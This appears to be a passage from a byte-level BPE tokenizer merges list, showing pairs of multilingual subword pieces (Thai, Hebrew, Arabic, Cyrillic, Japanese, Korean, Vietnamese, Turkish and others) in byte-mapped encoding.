à¸ĸาม +Ġzosta ÅĤy +Ġ×Ķס ×Ļפ×ķר +×Ķ ×ķ׾ +×Ķ×ķ׾ ×ļ +à¹Ģà¸Ĭà¹Īà¸Ļ à¸ģัà¸Ļ +à¹Ĥ à¸Ĩ +à¹Ĥà¸Ĩ ษ +à¹Ĥà¸Ĩษ à¸ĵา +×IJר צ×ķת +×Ĵר פ×Ļ +Ġao ût +ĠÙĬ رÙĬد +ت ÙĪØ¬ +تÙĪØ¬ ÙĬÙĩ +ĠÑįÑĤ ап +ãĤ¹ãĤ¿ ãĥ³ +Ġkr ó +Ġkró tk +ãĤĴ使 ãģĨ +ì ·¨ +éĸ¢ ãĤı +à¸Ķà¹īวย à¸Ħวาม +à¸Ļำ à¹Ģสà¸Ļà¸Ń +Ġa yrıca +à¸Ī à¹īาà¸ĩ +ĠÑĦоÑĤ огÑĢаÑĦ +Ġв еÑĩ +ĠвеÑĩ еÑĢ +åĩº ãģĹãģŁ +ĠÐ¥ о +Ġ×ŀ ר×Ĵ×Ļש +à¹ĥหà¹ī à¹Ģà¸Ľà¹ĩà¸Ļ +ãĤĴ 缮 +ãĤĴ缮 æĮĩ +׾ ×ŀ×Ļ×Ŀ +nÄħ ÅĤ +ĠÑģÑĤ анд +ĠÑģÑĤанд аÑĢÑĤ +ĠSü d +ĠT âm +اخت بار +à¹Ģà¸ģ à¸Ńรà¹Į +Ùħس رØŃ +Ġbi á»ĩn +ب Ùı +Ġص اÙĦ +ĠصاÙĦ ØŃ +ĠPh ụ +íľ ´ +ãĥ¬ãĥĵ ãĥ¥ãĥ¼ +Ġbụ ng +Ġrég ime +ĠØ£ Ø´Ùĩر +ĠÑĢабоÑĤ ник +à¸Ŀ ัà¸Ļ +اع تÙħ +اعتÙħ اد +Ġзам еÑĤ +ãģ¾ ãģ£ãģ¦ +Ġch ặt +æĿ¥ ãĤĭ +ĠاÙĦÙĤ ÙĪØ§Øª +ãģ«åħ¥ ãģ£ãģ¦ +تØŃ اÙĦÙģ +Ùħ زÙĬد +ĠÙĬ صÙĦ +ìĹ ¼ +à¹Ģà¸Ĭ à¹ĩ +à¹Ģà¸Ĭà¹ĩ à¸Ħ +Ġk á»ĭ +Ġká»ĭ p +ĠìķĦ ì§ģ +×IJ׳ ×Ĵ +Ġобла ÑģÑĤÑĮ +Ġpomoc Äħ +Ġ×ķ ש׾ +ëĵł ì§Ģ +ĠGi ám +ĠSt ück +Ġchá y +ĠëĤĺ ìĺ¤ +ש ×Ļ×ĺת +×ŀ×ĵ ר +×ŀ×ĵר ×Ļ×ļ +Ġsüre ç +к ва +×ij׾ ×Ļ×Ŀ +×Ķ ×ª×Ļ +×Ķת×Ļ ×Ļ×Ĺס +ÙĤب اÙĦ +Ġס ×ķ×Ĵ +Ġס×ķ×Ĵ ×Ļ +ÑģÑĤ олÑĮ +ä½ķ ãĤĤ +×ĸ׼ ×ķר +è²· ãģĨ +å®ī ãģı +à¸Ħรัà¹īà¸ĩ à¸Ļีà¹ī +kö p +ĠÑģеÑĢ Ð²Ð¸Ñģ +оÑĩ нÑĭÑħ +ê±° ëŀĺ +تأ Ùĥ +تأÙĥ ÙĬد +×ĵ ׾ק +Ġпо Ñĩем +ĠпоÑĩем Ñĥ +пиÑģ аÑĤÑĮ +×ij שר +ĠH Ãłng +ĠT ìm +Ġtr ừ +ãĤ» ãĥĥãĤ¯ãĤ¹ +×ķ׳ ×Ĵ +mız da +п Ñģи +ĠìŀĪ ê¸° +Ġr út +ز اÙĨ +تÙĨ ÙĪØ¹ +ÙħÙĤ ا +ÙħÙĤا ÙĪÙħØ© +Ġ׾צ ×ķר×ļ +Ġ×ij ×Ļר×ķש׾×Ļ×Ŀ +ãĥ´ ãĤ£ +eb ile +ebile ceÄŁi +ãĥ¦ ãĥ¼ãĤ +ãĥ¦ãĥ¼ãĤ ¶ +ãĥ¦ãĥ¼ãĤ¶ ãĥ¼ +ãĤĴä½ľ ãĤĭ +Ñģ меÑĢ +ÑģмеÑĢ ÑĤ +Ġì§ ģ +Ġì§ģ ìłij +ĠÐŁ аÑĢ +ØŃ اض +ØŃاض ر +Ùħ ÙĥاÙģ +ÙħÙĥاÙģ ØŃØ© +ล ิà¸Ļ +ãģ¦ ãģįãģ¦ +ÑĢоÑģ л +ĠÄ°ÅŁ te +ÙĤص ÙĬر +Ġ×ij×Ĵ ×Ļ׾ +Ġ×ŀת ×IJ×Ļ×Ŀ +Ġ×Ķ ×Ĺ×ĵ +Ġ×Ķ×Ĺ×ĵ ש×Ķ +ר ×ķ×¢ +Ġprodukt ów +ĠÙħ صدر +не ÑĨ +ĠاÙĦعÙħÙĦ ات +Ġçık ma +Ġد بÙĬ +×§ ×Ļף +ת ×IJר +ת×IJר ×Ļ×ļ +׳×Ļ ×Ļ×ĵ +صر اع +l ève +צ ×Ļר +à¸Ķ ัà¸Ļ +à¹ĥหà¹ī à¹Ħà¸Ķà¹ī +ãĤ¿ãĤ¤ ãĥł +Ġgi ảng +С ÐŁ +ĠاÙĦÙħ ØŃÙĦ +ĠاÙĦÙħØŃÙĦ ÙĬØ© +ĠT ất +׾ ×ķ×ĺ +h á»ķ +Ġam éric +Ġaméric ain +Ġ×ijש׾ ×ij +Ġ׾×IJ ×ķ×ŀ×Ļ +Ġpe ça +ĠÑĢаз нÑĭÑħ +ãģĦãĤĭ ãģ¨ +ãĥĩ ãĥ³ +ס קר +Ġ×Ķ×ŀ×Ĺ ×Ļר +ãģ¨ãģĦãģĨ ãĤĤãģ® +رت بط +ĠиÑģÑĤ оÑĩ +ĠиÑģÑĤоÑĩ ник +สมัà¸Ħร สมาà¸Ĭิà¸ģ +Ġ à¸Ĺัà¹īà¸ĩ +Ġà¸Ĺัà¹īà¸ĩ à¸Ļีà¹ī +ĠT áºŃp +ãģ£ãģ¦ ãģĦãģĨ +ĠاÙĦÙĪ ØµÙĪÙĦ +Ġdéc ada +Ġо ÑĦоÑĢм +ĠоÑĦоÑĢм лен +สำหรัà¸ļ à¸ģาร +Ġog óln +ãģĨãģ¡ ãģ« +Ġvá rias +ãģĻãģİ ãĤĭ +ÙĪ Ùĩا +à¹Ĥà¸Ľà¸£ à¸Ķ +ĠÐłÐ¾ÑģÑģ иÑı +人 ãĢħ +ãģĹãģ¦ ãģįãģŁ +Ġsı rasında +Ġng ôn +س ÙĨØ© +تÙħ تع +×ŀ׼ ×ij×Ļ +Ġnh ấn +×¢ ×ŀ×Ļ×ĵ +á» ¨ +ж иÑĤÑĮ +ãĤī ãģĽ +gr áf +gráf ica +ĠÙĤ ÙĪÙĦ +ĠÙĤÙĪÙĦ Ùĩ +ëĭ¨ ì²´ +ห à¹īา +หà¹īา ม +使 ãģ£ãģ¦ +ת ×Ļ×ij +ת×Ļ×ij ת +i á»ĥu +à¹ģ à¸Ĭม +à¹ģà¸Ĭม à¸Ľ +à¹ģà¸Ĭà¸¡à¸Ľ à¹Į +Ạ¬ +ĠëĤĺ ëĿ¼ +ĠÙħباشر Ø© +Ġtr Äĥm +سÙĥ ÙĪ +ĠاÙĦذ Ùī +Ġbi ç +Ġbiç im +ت راجع +Ġоб еÑģп +ĠобеÑģп еÑĩ +ĠобеÑģпеÑĩ ива +Ġвозд ÑĥÑħ +Ñĭв аÑĤÑĮ +ÙĦ ØŃÙĤ +ĠMü dü +ĠMüdü rl +ĠMüdürl Ã¼ÄŁÃ¼ +Ġyapt ır +Ġפר ס +Ġפרס ×ķ×Ŀ +Ø· ÙĪØ± +ÑģÑĤв оваÑĤÑĮ +ìŀ¥ ìĿĦ +à¸Ĺีà¹Īà¸Ķี à¸Ĺีà¹Īสุà¸Ķ +à¸Ńั ล +ÑĢ Ñİ +Ùħست ÙĤبÙĦ +Ñģл ÑĥÑĪ +ÑģлÑĥÑĪ Ð° +èªį ãĤģ +Ġ׾ ×Ļ×ŀ +Ġ׾×Ļ×ŀ ×ķ×ĵ×Ļ +ת ש×ķ×ij +תש×ķ×ij ×ķת +ĠgerçekleÅŁtir il +ĠاÙĦ اتÙ쨧ÙĤ +ĠÑĥÑĢов не +ĠÑĤ ÑĢав +Ġ×Ķ×ŀ ×ķף +ØŃÙģ Ø§Ø¸ +ĠÙħ ÙIJ +ĠÙħÙIJ ÙĨ +ĠÙħÙIJÙĨ ÙĴ +Ġdem ás +×ŀ×ķ×ĸ ×Ļ×§×Ķ +ש ×Ļ×Ĺ×Ķ +Ġb ú +алÑĮ нÑĭм +ãĤı ãģŁ +ãĤıãģŁ ãģĹ +ĠاÙĦÙħÙĪ Ø§Ø¯ +ת ׼׳ +×ª×Ľ×ł ×ķף +ãĥŃ ãĥĥãĤ¯ +hi ếu +ĠÑĥ ме +ÙħØŃا ÙĪÙĦØ© +×IJ ×ķשר +Ġкон кÑĥÑĢ +ĠконкÑĥÑĢ Ñģ +Ġ×ŀ ×ij×Ĺ +Ġ×ŀ×ij×Ĺ ×Ļ×ł×ª +Ġan lam +Ġanlam ı +Ġli á»ĩt +Ġв Ñħод +ĠH ình +ĠÙĨ ÙĬ +ĠÙĨÙĬ ÙĪØ² +ãĤ¸ãĥ£ ãĥ¼ +×ij ×Ļ×¥ +ÑĤелÑĮ нÑĭÑħ +à¸Ĺุà¸ģ à¸Ńยà¹Īาà¸ĩ +ĠkiÅŁ inin +Ø£ Ùĥثر +ĠиÑģÑĤоÑĢ Ð¸Ð¸ +Ġë³Ģ íĻĶ +פ׾ ס×ĺ +×¤×ľ×¡×ĺ ×Ļ׳×Ļ +ĠÑģ еÑĤ +ĠÑģеÑĤ и +dıģ ımız +íķĺ ëıĦë¡Ŀ +×Ķ ×¨ +×Ķר ×ij×Ķ +ãģĻãĤĭãģĵãģ¨ ãģ¯ +Ġphi ếu +تØŃ سÙĬÙĨ +ĠÅĽ rod +ĠÅĽrod ow +ĠÅĽrodow isk +ĠÑĢаÑģ Ñħод +بر ÙĬد +Ġر ÙĬ +ĠرÙĬ اÙĦ +Ġ×ķ ׼×ļ +ì§Ģ ìļĶ +׼ ×ŀ×ķ +Ġ×¢×ľ ×Ļ×Ķ×Ŀ +f ÃŃcio +Ġkar arı +tıģ ını +ĠС ов +ĠСов еÑĤ +ãģĬéĩij ãĤĴ +м еждÑĥ +междÑĥ на +междÑĥна ÑĢод +междÑĥнаÑĢод н +Ġm á»Ŀi +ĠاÙĦØ¥ ÙĬر +ĠاÙĦØ¥ÙĬر اÙĨÙĬ +ĠاÙĦرÙĪ Ø³ÙĬ +ص ÙĨد +صÙĨد ÙĪÙĤ +ĠاÙĦØ¥ÙĨ ترÙĨت +Ġt ắm +ĠÑĤак ого +Ġ×ij ׾×ķ×Ĵ +Ġü crets +Ġücrets iz +×Ĺ×ĸ ×Ļר +ìĸ´ ìķ¼ +ĠPh ần +ï¼ ľ +Ġ×ĺ ×ij×¢ +Ġ×ĺ×ij×¢ ×Ļ +×IJ×ŀ ×IJ +اÙĤ ÙĦ +Ġcondi ções +ÙĤات ÙĦ +ĠÑĢезÑĥлÑĮÑĤаÑĤ е +ĠÑģво ими +צ×ij ×Ļ×¢ +gé ni +Ġz es +Ġzes po +Ġzespo ÅĤ +ÑĪ Ð¸Ð² +Ġפר×ĺ×Ļ ×ķת +Ùħست Ø´Ùģ +ÙħستشÙģ Ùī +شر ع +Ġko ÅĽci +Ġ×Ķ×IJ ×Ļ׳×ĺר׳×ĺ +ĠЧ еÑĢ +поÑĩ ÑĤ +Ġactiv ités +çŁ¥ ãģ£ãģ¦ +Ġ×ij ×ĸ×Ķ +Ġyüz den +ãģªãĤĬ ãģ¾ãģĽãĤĵ +Ġíĺ ¹ +Ġíĺ¹ ìĿĢ +Ġ×ŀש ׳×Ķ +ĠÐĴ еÑĢ +Ġ×ij×IJ×ķת ×ķ +éĿ¢ çϽ +éĿ¢çϽ ãģĦ +شر ØŃ +gr ünde +Ùģ Ø´ +Ù쨴 ÙĦ +Ġsé jour +ë´ IJ +Ġr ôle +Ø´ عار +ем Ñĭе +ĠاÙĦج سÙħ +алÑĮ ное +Ġìĥģ íĥľ +ï¼ ¤ +ë¯Ģ ë¡ľ +ĠÙĨ ÙĤØ· +ĠÙĨÙĤØ· Ø© +ãģĿãģĨ ãģł +ãģĻãĤĭ ãģ®ãģĮ +ห ู +Ġnh á»ĭ +Ġeconóm ica +ס×ĺ ×ķ×ĵ +ס×ĺ×ķ×ĵ ׳×ĺ +มี à¹Ĥà¸Ńà¸ģาส +Ġgest ão +รูà¹ī วà¹Īา +Ġlo ạt +ĠاÙĦÙħ Ùı +ĠاÙĦØŃ ÙħÙĦ +ĠاÙĦعÙħÙĦ ÙĬØ© +Ġê²ĥ ëıĦ +ĠÐľÐ¾Ñģк ва +×§×ĺ ×ķר +Ġпод ÑĢоб +ĠподÑĢоб н +Ġl ưng +ت Ù쨳 +تÙ쨳 ÙĬر +ĠاÙĦ بع +ĠاÙĦبع ض +ئ ت +Ðķ ÐĿ +ìŰ 구 +à¹ĥหà¹ī à¸Ħุà¸ĵ +ãģĤãĤĬ ãģ¾ãģĹãģŁ +Ġbir ka +Ġbirka ç +Ġİ sl +Ġİsl am +çĹĽ ãģ¿ +Ġh ảo +Ġм аÑı +ĠiÅŁ çi +ש × +×©× ģ +à¸ģาร à¹Ģมืà¸Ńà¸ĩ +×ķ×Ķ ×¨ +Ġch ó +ëĨ Ģ +Ġyan lı +Ġyanlı ÅŁ +幸 ãģĽ +×IJר×Ĵ ×ķ׳×Ļ +à¸Ńาà¸Ī าร +à¸Ńาà¸Īาร ยà¹Į +ĠинÑĦоÑĢм аÑĨиÑİ +Ðĵ Ðŀ +׳ ×Ĺש +ĠìķĮ ìķĦ +ĠÑħаÑĢакÑĤеÑĢ Ð¸ÑģÑĤ +ĠÑħаÑĢакÑĤеÑĢиÑģÑĤ ик +à¸Ħุà¸ĵ สามารà¸ĸ +è¦ĭ ãģĪãĤĭ +à¸Ĭัà¸Ķ à¹Ģà¸Ī +à¸Ĭัà¸Ķà¹Ģà¸Ī à¸Ļ +ĠdziaÅĤ al +ĠdziaÅĤal noÅĽci +à¹Ĥà¸ŀ สà¸ķà¹Į +ĠÐļ ол +ĠÙģ ÙĩÙĬ +Ġ×ŀ פ׳×Ļ +Ġ×Ķ×§ שר +Ùħر Ùĥ +ÙħرÙĥ ز +Ġho á +Ġа пп +Ġапп аÑĢаÑĤ +Ġp ami +Ġpami ÄĻ +ĠpamiÄĻ ta +Ġç ünkü +×ĵ ×ķף +ãģ¯ ãģĵãģ¡ãĤī +ĠM Ãł +ĠÙĬ ÙĤدÙħ +ĠпÑĢ ÐµÐ· +ĠпÑĢез иденÑĤ +à¸Ńุ à¸ķ +à¸Ńุà¸ķ สา +à¸Ńุà¸ķสา ห +à¸Ńุà¸ķสาห à¸ģรรม +ì§Ģ ìĽIJ +Ġ×IJפשר ×ķת +sch üt +schüt z +ĠTi ên +Ġsay ılı +ĠгÑĢÑĥпп Ñĭ +оÑĩ нÑĭй +Ġ×ľ×¢ ×ŀ×ķ×ĵ +Ġwr zeÅĽ +ĠwrzeÅĽ nia +ĠÄIJ ầu +à¹Ģà¸Ĥà¹īา รà¹Īวม +nız da +Ø®ÙĬ ص +Ġgü nc +Ġgünc el +ĠÙĦÙĩ ذÙĩ +ĠÙĬ عتبر +lé gi +ãĤı ãģĭãĤĭ +Ġr ừng +ظ Ùĩ +ظÙĩ ÙĪØ± +Ġ×ŀ×ij ×Ļף +Ġ기 íĥĢ +åĪĩ ãĤĮ +lan mÄ±ÅŁ +à¸Ĺีà¹Ī มีà¸Ħวาม +Ġh á»ģ +ت ÙĪØ¬Ùĩ +ĠاÙĦØ¥ دارة +Ġú til +ס פ×ķ +à¸Ħวาม รัà¸ģ +à¹Ĥ ฮ +Ġпол иÑĤ +ĠполиÑĤ ик +Ġsat ın +ĠÅŀ imdi +×ŀ ×ķר×Ļ×Ŀ +ìķĺ ëĭ¤ +×Ĺ ×ķ×ķ +×Ĺ×ķ×ķ ×Ļ×Ķ +à¸Ħà¸Ńม à¸ŀิ +à¸Ħà¸Ńมà¸ŀิ ว +à¸Ħà¸Ńมà¸ŀิว à¹Ģà¸ķà¸Ńรà¹Į +Ġا ذا +تخ اذ +ãĤ¨ ãĥ« +Ġpossibilit é +ยืà¸Ļ ยัà¸Ļ +Ġü nivers +Ġünivers ite +ĠاÙĦد ÙĪØ±ÙĬ +ĠìķĬëĬĶ ëĭ¤ +ĠìĦľ ë¡ľ +ØŃ اÙĦ +Ġë ¨ +Ġë¨ ¼ +Ġ먼 ìłĢ +à¸Ĺีà¹Ī à¸ĸูà¸ģ +ì§ ľ +Ġsk óry +лÑĮ ÑĨ +à¹ĥà¸Ĭà¹ī à¹Ģวลา +×ij×§ שת +Ġذ ÙĪ +æĹ¥ ãĢħ +ĠкоÑĤоÑĢ ÑĥÑİ +ĠÑĥÑĢов енÑĮ +ê¹ ¨ +à¹Ħ à¸Ĺ +ãĤµ ãĥĹãĥª +ãĤ¸ ãĥ§ãĥ³ +ãģĻ ãģ¹ãģį +ĠG ór +ãĥĪ ãĤ¤ +ãĥĪãĤ¤ ãĥ¬ +ĠyaÅŁ ama +Ġdá»ĭ p +Ġb ữa +à¸ĭ ุ +Ġöl üm +ãģ£ãģ¦ ãģıãĤĭ +à¸ģาร à¸Ħà¹īา +ש ער +ĠÑĤип а +Ġг еÑĢ +ĠгеÑĢ Ð¾ +רק ×¢ +Ġu waż +Ġuważ a +ש×ŀ ף +Ġhast alık +ãĤıãĤĮ ãĤĭ +ba ÅŁÄ± +Ñĩ ÑĤо +Ġ×ij ×ŀר׼×ĸ +Ġìļ°ë¦¬ ìĿĺ +ĠÙĥاÙĨ ÙĪØ§ +ĠØ£ بر +Ġأبر ÙĬÙĦ +ì¸ µ +à¹Ħà¸Ĥ à¹Ī +ĠÙĪ ÙĦÙĪ +à¸Ĺ ัว +à¸Ĺัว รà¹Į +ĠÙĪØ£ Ùĥد +à¸Ĭ วà¸Ļ +׾ ×ķ×§ +æį ¨ +æį¨ ãģ¦ +Ġİç in +p éri +Ġy al +Ġyal nız +ÑĮÑı н +Ġg ắng +à¸ģà¹ĩ ยัà¸ĩ +ĠУкÑĢа ин +ĠÑģ ами +ĠпÑĢовед ен +à¸ķà¸ģ à¹ģà¸ķà¹Īà¸ĩ +ĠQu ân +é paration +ĠbaÅŁ ında +Ġzn ale +Ġznale ź +Ġznaleź Äĩ +ãĤ± ãĥ¼ +ãĥİ ãĥ¼ +à¸ĸูà¸ģ à¸ķà¹īà¸Ńà¸ĩ +ëª ¸ +Ġëı Į +ĠëıĮ ìķĦ +ĠSch üler +Ġпод гоÑĤов +ĠподгоÑĤов к +ع رÙĪ +عرÙĪ Ø¶ +la ÅŁtır +ĠÑģоÑģÑĤав лÑıеÑĤ +ĠпÑĢоиз вод +ĠпÑĢоизвод ÑģÑĤва +ĠоÑģнов е +ĠØ´ ÙħاÙĦ +à¸ģร ี +ĠgörÃ¼ÅŁ me +оÑĩ ек +Ġ×Ĺ×ijר ×Ļ×Ŀ +ÙħØ® اط +Ùħخاط ر +ï¼ Ń +ר פ×IJ +ĠM ẹ +ยà¸Ńม รัà¸ļ +Ġv ết +Ø® ذ +ĠاÙĦت Ø· +ĠاÙĦتط بÙĬÙĤ +à¸Ļ ึà¸ģ +Ġ×Ķ ×Ľ×ł×¡×ª +ĠогÑĢ Ð°Ð½Ð¸ +ĠогÑĢани Ñĩен +ĠÃĩ alÄ±ÅŁ +ĠاÙĦÙħÙĨت دÙī +à¸Īำà¸Ļวà¸Ļ มาà¸ģ +ĠÑĤоÑĢ ÑĢ +ĠÑĤоÑĢÑĢ ÐµÐ½ÑĤ +ĠìĤ´ ìķĦ +à¸ŀลัà¸ĩ à¸ĩาà¸Ļ +à¸Ĭ ัà¸Ļ +ĠÐIJн дÑĢ +Ġréalis é +×ŀש ×IJ +à¹ģ à¸Ĭ +à¹ģà¸Ĭ รà¹Į +Ġб ог +มา à¹ģลà¹īว +ĠاÙĦÙĨ ار +Ġolmad ıģı +×ĵ ×¢×Ķ +ĠÑĥ веÑĢ +ĠÑĥвеÑĢ ÐµÐ½ +ãĤĭ ãĤĤãģ® +Ø£ د +أد ÙĪØ§Øª +Ġ×Ķ×ĸ ×ķ×Ĵ +Ø¥ عÙĦاÙħ +h á»ı +ĠNä he +ĠÑĤ еÑģÑĤ +Ġ×ŀ ×ķ׼ר +Ġë¬¸ìłľ ê°Ģ +ת ×ķצ×IJ×Ķ +m ó +mó vel +ĠاÙĦتج ارة +Ġмног иÑħ +обÑī а +Ġ×¢ סק×Ļ +ĠEdu cação +×§ ש×Ļ×Ŀ +é tabl +établ issement +Ġд еле +иÑĢÑĥ еÑĤÑģÑı +Ø¢ ثار +Ġ×Ķ×ŀ ר׼×ĸ×Ļ +ãĥIJ ãĥ« +ĠвÑģÑĤÑĢ ÐµÑĩ +ãģĴ ãĤĭ +Ġci Äħ +ĠciÄħ gu +ÙĬ ست +à¸łà¸² ว +à¸łà¸²à¸§ ะ +Ø£ Ùħر +Ġо жи +Ġожи да +Ġ á»§y +ãĥŀ ãĥ« +ر اس +оÑĩ ной +ת ×Ĵ×ķ×ij×ķת +تع رÙĬÙģ +ĠÑģо ÑĨиалÑĮно +ãĤĴ éĸĭ +ĠиÑģÑģлед ова +Ġd ú +Ġdú vida +Ġsk ÅĤ +ĠskÅĤ ada +Ġhä ufig +ĠвÑĭб ÑĢ +ĠвÑĭбÑĢ Ð°ÑĤÑĮ +ãģ®ãģ§ãģ¯ãģªãģĦ ãģĭ +ĠÑģ илÑĮно +ÑĤвеÑĢж ден +ר פ +רפ ×ķ×IJ×Ķ +æĢĿ ãģĦãģ¾ãģĻ +ØŃر ص +ש×ķת ×£ +Ùħس جد +à¹Ĥà¸Ĭ วà¹Į +ем ÑģÑı +в ÑĪие +Ġм л +Ġмл н +Ġ׾×Ķ ×ij×Ļ×IJ +ĠÙĬ تعÙĦÙĤ +à¸ķ ูà¹ī +Ġп ÑĢаз +ĠпÑĢаз д +ĠпÑĢазд ник +Ġн ем +Ġнем ного +Ġs Ãłng +تÙĨ سÙĬ +تÙĨسÙĬ ÙĤ +Ġtá» Ŀ +Ġмед и +ãģ« æĪ +ã쫿Π» +à¸Ħว à¹īา +ãģĭ ãģijãĤĭ +×ij׾ ×ķת +ĠÑįк Ñģп +ĠÑįкÑģп еÑĢÑĤ +Ġдев ÑĥÑĪ +ĠдевÑĥÑĪ Ðº +ĠØŃ ص +ÙĨØ´ Ø£ +ãģĮãģĤãĤĭ ãģ®ãģ§ +Ġت راÙħ +ĠتراÙħ ب +أس ÙĪØ§ÙĤ +Ġ׾פ ׳×ķת +Ġا ï»· +ãģ« ãģı +ãģ«ãģı ãģĦ +ĠØ£ عÙĦÙī +Ġ׾×Ķ ×ŀש×Ļ×ļ +rä u +ש×ŀ ×Ļ×Ŀ +åĪĨ ãģij +ãģĻ ãģ§ +ãģĻãģ§ ãģ« +×Ķ׾ ׼×Ķ +×Ĺ׾ ×Ļ×£ +Ġì ±ħ +Ġì±ħ ìŀĦ +à¹Ģà¸Ī ริ +à¹Ģà¸Īริ à¸į +éģĬ ãģ³ +ج سد +สา à¸ĺ +สาà¸ĺ าร +สาà¸ĺาร à¸ĵ +Ġbas ın +ÑĢаР³ +г ад +Ġho ÅŁ +íķ µ +×ij×Ĺ ×Ļר×Ķ +×ŀס ×ļ +Ġìłľ íĴĪ +تÙħ ÙĪÙĬÙĦ +ĠL ưu +ë¡ľ ë¶ĢíĦ° +Ġп об +Ġпоб ед +ÙħÙĨ ذ +常 ãģ« +ÙĤ س +ĠاÙĦÙħ صدر +ĠÙĪØ§ÙĦ است +Ġkh ắp +ĠاÙĦج اÙĨب +Ġng uyá»ĩn +éĸĵ éģķãģĦ +ĠÑģÑĤ ÑĢа +ĠÑģÑĤÑĢа Ñħ +ĠÑģÑĤÑĢаÑħ ов +รี à¸ļ +Ġx ương +Ġì° ¾ +Ġì°¾ ìķĦ +Ġng ại +г ал +à¸ĭ ีà¹Ī +Ġ×ij פ×Ļ×Ļס×ij×ķ×§ +Ц енÑĤÑĢ +Ġaval iação +Ġeconóm ico +×ĸ ף +ĠÐľ ак +Ġinter és +à¸ģล ิà¹Īà¸Ļ +ÑģÑĤÑĮ Ñİ +ĠÄij ương +å¼· ãģı +ĠKh ách +à¹Ģà¸Ļืà¹īà¸Ń หา +ĠYaz ı +è²· ãģ£ãģ¦ +Ðł Ðķ +à¹Ģà¸ŀิà¹Īม à¸Ĥึà¹īà¸Ļ +สม à¸ļู +สมà¸ļู รà¸ĵà¹Į +Ġм иÑĢов +×Ĵ ׳×Ļ×Ŀ +ĠÄij ức +à¸Ń ารà¹Į +ص اص +ãģĬ ãĤĪ +ãģĬãĤĪ ãģ³ +ÃªÌ ī +ĠاÙĦÙħؤ تÙħر +ĠاÙĦÙħر ØŃÙĦØ© +สà¸Ńà¸ļ à¸ĸาม +Ġà¸Īาà¸ģ à¸Ļัà¹īà¸Ļ +Ġت عد +ãģĿãģ® ãģŁãĤģ +Ġkh áng +à¸Ļ ิà¸Ķ +ãĥĬ ãĥ³ +ëĦ¤ ìļĶ +ĠاÙĦ اØŃت +ĠاÙĦاØŃت ÙĦاÙĦ +ìļ ķ +Ġмод ели +ĠпÑĢоÑĨ енÑĤ +à¸ŀวà¸ģ à¹Ģรา +Ġ×Ķצ ×ĵ +Ġ×Ķצ×ĵ ×ĵ×Ļ×Ŀ +ständ e +׳ ×Ĵר +Ġdot yc +Ġdotyc zÄħ +ĠdotyczÄħ ce +ĠÅĽ wiÄĻt +×ŀר ×Ķ +ãģĻãģĶ ãģĦ +ãĥĩãĤ£ ãĥ³ãĤ° +à¸ģาร สรà¹īาà¸ĩ +ë Ĥ¬ +Ġì°¸ ìŬ +Ñģ Ñħ +ÑģÑħ ем +ÙħÙĪ Ø³ +Ġn ấu +Ġ׾×ŀ×¢ ׾×Ķ +à¹Ģà¸Ľ à¹īา +à¹Ģà¸Ľà¹īา หมาย +Ġmù i +ائ ز +íĽ Ī +×Ĺ×ij ×ķר×Ķ +à¸ľà¸¹à¹ī à¹ĥà¸Ĭà¹ī +Ġpa ź +Ġpaź dzi +Ġpaździ ern +Ġpaździern ika +ลà¸ĩ à¹Ħà¸Ľ +ÙĤ اع +Ġch áºŃm +Ġözellik leri +ĠÄIJ o +ĠÄIJo Ãłn +ж ение +Ġh ẳ +Ġhẳ n +ĠaÅŁ k +ï½ į +ãĥij ãĤ¹ +×Ķ×ķר ×IJ×ķת +ĠÅ » +ĠÅ» y +×ŀ×ĸ ׾ +ĠÑĥ кÑĢа +ĠÑĥкÑĢа ин +à¹Ģà¸Ĭ ิ +à¹Ģà¸Ĭิ à¸į +Ðł Ðĺ +ĠzwiÄħz ku +×Ķ×Ĺ׾×ĺ ת +ãĤĵãģ§ãģĻ ãĤĪãģŃ +ãģ¦ ãģĬãĤĬ +лож иÑĤÑĮ +×ŀ ×ķ׳×Ļ×Ŀ +ฮ ิ +ì° ¬ +ĠاÙĦÙħØ´ ترÙĥ +ĠdÃ¼ÅŁ ük +аг енÑĤ +ĠاÙĦØ£ سبÙĪØ¹ +ĠÙĤ رÙĬب +ин д +инд ив +индив ид +индивид Ñĥ +индивидÑĥ алÑĮн +för der +Ġseç en +Ġseçen ek +Ġét ant +ĠлÑİб им +каз ÑĭваеÑĤ +ว ิà¸Ļ +Ġ×Ķ×ij ×IJ×Ļ×Ŀ +Ġд ов +Ġдов олÑĮ +ĠдоволÑĮ но +×¢×ĵ ×Ļ×£ +Ġok re +Ġokre ÅĽ +ĠokreÅĽ lon +Ġت رÙĬد +à¹Ģมืà¹Īà¸Ń วัà¸Ļà¸Ĺีà¹Ī +ãĤĪ ãģĭãģ£ãģŁ +Cum h +Cumh ur +Cumhur ba +Cumhurba ÅŁ +CumhurbaÅŁ kan +CumhurbaÅŁkan ı +Ġn ợ +à¸ľà¸¹à¹ī à¹Ģลà¹Īà¸Ļ +Ġcompl ète +à¹Ģà¸ŀ ศ +د ÙIJ +Ġdü z +Ġdüz ey +ãģ§ãģĤãĤĭ ãģĵãģ¨ +ext érieur +× ³ +Ġinform ação +ãĤ¯ãĥª ãĥĭãĥĥãĤ¯ +ĠPub li +ĠPubli é +ר ×ķ×ĵ +à¸Ħวาม à¸Ľà¸¥à¸Ńà¸Ķà¸łà¸±à¸¢ +ĠØ£ÙĬ ض +ĠØ£ÙĬض Ùĭا +ت سبب +ãģ¤ ãĤĤãĤĬ +из ма +à¸Ĥึà¹īà¸Ļ à¹Ħà¸Ľ +Ùĥ ÙIJ +ÙĦ ÙĪÙħ +Ġש צר +Ġשצר ×Ļ×ļ +ãģ¯ ãĤĤãģ¡ãĤįãĤĵ +Ġк ан +Ġкан ал +ãģ«ãģª ãģ£ãģ¦ãģĦãģ¾ãģĻ +ĠاÙĦØ£ Ùĥثر +ت اØŃ +ÙĨت Ùĩ +ÙĨتÙĩ اء +ا ÙĪÙĬØ© +ĠBug ün +н Ñģкого +à¸Ķ à¹Īวà¸Ļ +é volution +ãģ£ãģ¦ ãģĦãģ¾ãģĹãģŁ +ãĤ ħ +ĠV ương +à¸łà¸²à¸ŀ ย +à¸łà¸²à¸ŀย à¸Ļ +à¸łà¸²à¸ŀยà¸Ļ à¸ķรà¹Į +Ġ×Ķ ×¦×ľ×Ļ×Ĺ +ĠاÙĦإسÙĦاÙħ ÙĬ +ÙĦÙĬ ب +Ġed ição +ÑģÑĤÑĢ ÐµÐ» +Ġkh úc +ÙĨÙħÙĪ Ø° +ÙĨÙħÙĪØ° ج +׾ צ×Ķ +ÑģÑĤав ил +à¸ĸ า +สรà¹īาà¸ĩ à¸Ħวาม +ãģĦ ãģ£ãģ± +ãģĦãģ£ãģ± ãģĦ +ÑģÑĤав лен +ĠاÙĦ 